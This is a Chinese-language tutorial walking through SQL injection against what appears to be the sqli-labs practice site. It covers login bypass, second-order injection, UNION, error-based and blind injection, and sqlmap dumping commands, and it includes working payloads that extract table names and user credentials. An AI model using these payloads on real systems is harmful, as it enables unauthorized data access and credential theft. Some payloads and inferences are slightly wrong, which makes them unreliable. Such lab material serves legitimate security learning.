目录
一、万能密码和二阶注入测试
1.万能密码
2.二阶注入测试
二、联合查询注入测试
1.判断注入点
2.判断当前查询语句的列数
3.查询数据库基本信息
4.查询数据库中的数据
三、报错注入
1. 报错注入函数EXTRATVALUE
2.UPDATEXML
四、盲注测试
1.布尔盲注
判断数据库名字长度
猜解数据库名
获取表的个数
获取第一个表名的长度
获取第一个表名
获取列的个数
获取列的长度
获取列名的第一个字母
2.延时盲注
五、sqlmap
一、万能密码和二阶注入测试
1.万能密码
万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?
为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
而我们的输入其实是
$name = 8' or 3=3#
替换后
…… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";
此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。
当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。
2.二阶注入测试
所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin
注册admin'#账号
如图,现在数据库里面有:
admin'# 密码是123456
admin 密码是000000
我们现在登录我们自己注册的账号:
我们登录后修改密码,修改密码为999999
此时我们来登录试试:
为什么密码错误呢?我们来观察一下数据库:
可以观察到我们修改的是admin的密码,而不是admin'#的数据。
实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。
二、联合查询注入测试
1.判断注入点
判断是不是整型:
比如 1 and 1=1
没有显示结果,说明这不是整型。
而输入1' or '1'='1
说明这是字符型注入。
2.判断当前查询语句的列数
猜测是3列:
猜测是两列:
3列没有结果,2列有结果,说明当前查询语句有两列。
3.查询数据库基本信息
admin' union select user() ,database()#
需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。
4.查询数据库中的数据
获取表名
admin' union select 1,table_name from information_schema.tables where table_schema = database() #
获取数段名
admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #
获取数据
admin' union select username,password from users #
三、报错注入
1. 报错注入函数EXTRATVALUE
admin' union select extractvalue(1,concat(0x7e, (select database()),0x7e)) #
2.UPDATEXML
admin' union select updatexml(1,concat(0x7e,(select version()),0x7e),1)#
四、盲注测试
1.布尔盲注
判断数据库名字长度
无回显
有回显
说明可能为8,进行验证:
猜解数据库名
无回显,再尝试是否大于110
有回显,再尝试是否大于115
无回显,再尝试是否大于113
有回显,再尝试是否大于114
有回显,说明可能是115
查询ascii表,说明该数据库名首字母为's'
获取表的个数
无回显,说明个数小于4
获取第一个表名的长度
无回显
有回显,说明值为6
获取第一个表名
?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #
无回显,猜测是否大于100
有回显,猜测是否大于105
无回显,猜测是否大于103
无回显,猜测是否大于102
无回显,猜测是否等于101
查ascii表,表名第一个字母为'e'
获取列的个数
?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #
有31个列
获取列的长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #
第一列的长度为7
获取列名的第一个字母
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 #
得到ascii为117,’u'
2.延时盲注
?id=1' and if((length(database()))=8,sleep(4),null)) #
说明数据库名长度为8
?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #
说明第一个字母是's'
五、sqlmap
python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1
--current-db
-D --tables
-T --columns
-C --dump